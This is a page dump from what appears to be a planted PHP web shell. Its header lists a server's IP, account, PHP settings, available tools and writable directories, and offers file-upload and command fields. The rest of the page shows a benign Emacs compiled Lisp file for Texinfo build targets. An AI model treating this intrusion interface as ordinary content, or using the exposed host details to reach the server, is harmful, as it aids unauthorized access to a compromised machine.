403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/cedet/ede/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/cedet/ede/proj-info.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(byte-code "\300\301!\210\302\303\304\305!\"\210\302\306\307\305!\"\210\302\310\306\"\210\311\310\312\313#\210\314\305\315\306#\316\305\317\320\321$\207" [require ede/pmake defalias ede-proj-target-makefile-info-p eieio-make-class-predicate ede-proj-target-makefile-info ede-proj-target-makefile-info--eieio-childp eieio-make-child-predicate ede-proj-target-makefile-info-child-p make-obsolete "use (cl-typep ... \\='ede-proj-target-makefile-info) instead" "25.1" define-symbol-prop cl-deftype-satisfies eieio-defclass-internal (ede-proj-target-makefile) ((menu :initform nil) (keybindings :initform nil) (availablecompilers :initform '(ede-makeinfo-compiler ede-texi2html-compiler)) (sourcetype :initform '(ede-makeinfo-source)) (mainmenu :initarg :mainmenu :initform "" :type string :custom string :documentation "The main menu resides in this file.\nAll other sources should be included independently.")) (:documentation "Target for a single info file.")] 6)
#@86 Create a new object of class type `ede-proj-target-makefile-info'.

(fn &rest SLOTS)
(defalias 'ede-proj-target-makefile-info #[128 "\300\301\302#\207" [apply make-instance ede-proj-target-makefile-info] 5 (#$ . 1046)])
(byte-code "\300\301\302\303#\300\207" [function-put ede-proj-target-makefile-info compiler-macro ede-proj-target-makefile-info--anon-cmacro] 4)
#@26 

(fn WHOLE &rest SLOTS)
(defalias 'ede-proj-target-makefile-info--anon-cmacro #[385 "\211@;\204\207\300\301\302@@#@\303@DABB\"\207" [macroexp-warn-and-return format "Obsolete name arg %S to constructor %S" identity] 7 (#$ . 1418)])
#@33 Texinfo source code definition.
(defvar ede-makeinfo-source (ede-sourcecode :name "Texinfo" :sourcepattern "\\.texi?$" :garbagepattern '("*.info*" "*.html")) (#$ . 1665))
#@40 Compile texinfo files into info files.
(defvar ede-makeinfo-compiler (ede-compiler :name "makeinfo" :variables '(("MAKEINFO" . "makeinfo")) :commands '("$(MAKEINFO) $<") :autoconf '(("AC_CHECK_PROG" . "MAKEINFO, makeinfo")) :sourcetype '(ede-makeinfo-source)) (#$ . 1842))
#@40 Compile texinfo files into html files.
(defvar ede-texi2html-compiler (ede-compiler :name "texi2html" :variables '(("TEXI2HTML" . "makeinfo -html")) :commands '("makeinfo -o $@ $<") :sourcetype '(ede-makeinfo-source)) (#$ . 2121))
(byte-code "\300\301\302\303\302\304%\210\300\305\302\306\302\307%\210\300\310\302\311\312\313%\207" [cl-generic-define-method ede-proj-configure-add-missing nil ((_this ede-proj-target-makefile-info)) #[257 "\300\301 \302\"?\207" [ede-expand-filename ede-toplevel "texinfo.tex"] 4 "Query if any files needed by THIS provided by automake are missing.\nResults in --add-missing being passed to automake.\n\n(fn THIS)"] ede-proj-makefile-sourcevar ((this ede-proj-target-makefile-info)) #[257 "\211\300\301\"\302\303\"\203\304\305\306\307$\262\202\262\310P\207" [eieio-oref name string-match "\\." replace-match "_" nil t "_TEXINFOS"] 8 "Return the variable name for THIS's sources.\n\n(fn THIS)"] ede-proj-makefile-insert-source-variables ((this ede-proj-target-makefile-info) &optional moresource) t #[770 "\300 \204 \207\301!\302\303\304\"!\303\305\"\206\211@\306\"\262\307\212db\210\310\311\312\307#)\203V\313\225b\210\314 \210i\315W\203Mh\316U\204Ph\317U\204P\320c\210\202P\321c\210\312\262\202[\322\323\261\210c\210\211\203e\324c\210db\266\307\212db\210\310\325\326Q\312\307#)\203\242\313\225b\210\314 \210i\315W\203\231h\316U\204\234h\317U\204\234\320c\210\202\234\321c\210\312\262\202\247\323\261\210\327\330\320#c\210\211\203\265\324c\210db\266\205\300\331\332!\207" [ede-proj-automake-p ede-proj-makefile-sourcevar copy-sequence eieio-oref source menu delq t re-search-backward "^info_TEXINFOS\\s-*=" nil 0 ede-pmake-end-of-variable 40 61 32 " " "\\\n   " "info_TEXINFOS" "=" "\n" "^" "\\s-*=" mapconcat identity error "Texinfo files should not have moresource"] 11 "Insert the source variables needed by THIS info target.\nOptional argument MORESOURCE is a list of additional sources to add to the\nsources variable.\nDoes the usual for Makefile mode, but splits source into two variables\nwhen working in Automake mode.\n\n(fn CL--CNM THIS &optional MORESOURCE)"]] 6)
#@70 Find the info filename produced by SOURCE texinfo file.

(fn SOURCE)
(defalias 'ede-makeinfo-find-info-filename #[257 "\300!\300!\206\301\302\303#\302rq\210\212eb\210\304\305\302\303#\203$\306\307!\262*=\204/\310!\210\207" [get-file-buffer find-file-noselect nil t re-search-forward "^@setfilename\\s-+\\([^.]+\\).info$" match-string 1 kill-buffer] 8 (#$ . 4282)])
(byte-code "\300\301\302\303\302\304%\210\300\305\302\306\302\307%\210\300\310\302\311\302\312%\210\300\313\302\314\315\316%\210\300\317\302\320\302\321%\210\322\323!\207" [cl-generic-define-method ede-proj-makefile-target-name nil ((this ede-proj-target-makefile-info)) #[257 "\300\301\"\302\230\204\300\301\"\202\300\303\"@\304!\211\206\305!\306P\207" [eieio-oref mainmenu #1="" source ede-makeinfo-find-info-filename file-name-sans-extension ".info"] 5 "Return the name of the main target for THIS target.\n\n(fn THIS)"] ede-proj-makefile-insert-dist-dependencies ((this ede-proj-target-makefile-info)) #[257 "\300\301!\261\207" [" " ede-proj-makefile-target-name] 4 "Insert any symbols that the DIST rule should depend on.\nTexinfo files want to insert generated `.info' files.\nArgument THIS is the target which needs to insert an info file.\n\n(fn THIS)"] ede-proj-makefile-insert-dist-filepatterns ((this ede-proj-target-makefile-info)) #[257 "\300\301!\302\261\207" [" " ede-proj-makefile-target-name "*"] 4 "Insert any symbols that the DIST rule should depend on.\nTexinfo files want to insert generated `.info' files.\nArgument THIS is the target which needs to insert an info file.\n\n(fn THIS)"] object-write ((this ede-proj-target-makefile-info)) t #[514 "\300\301\"\300\302\"\303\304\230\204(\203(@\230\204(\305\"B\262\306\302#\210\266 \207" [eieio-oref mainmenu source nil #1# delq eieio-oset] 9 "Before committing any change to THIS, make sure the mainmenu is first.\n\n(fn CL--CNM THIS)"] ede-documentation ((this ede-proj-target-makefile-info)) #[257 "\300\301\"\302!\300\303\"\304\203 \305@\"B\262A\262\202\f\207" [eieio-oref source ede-target-parent directory nil expand-file-name] 8 "Return a list of files that provides documentation.\nDocumentation is not for object THIS, but is provided by THIS for other\nfiles in the project.\n\n(fn THIS)"] provide ede/proj-info] 6)

Youez - 2016 - github.com/yon3zu
LinuXploit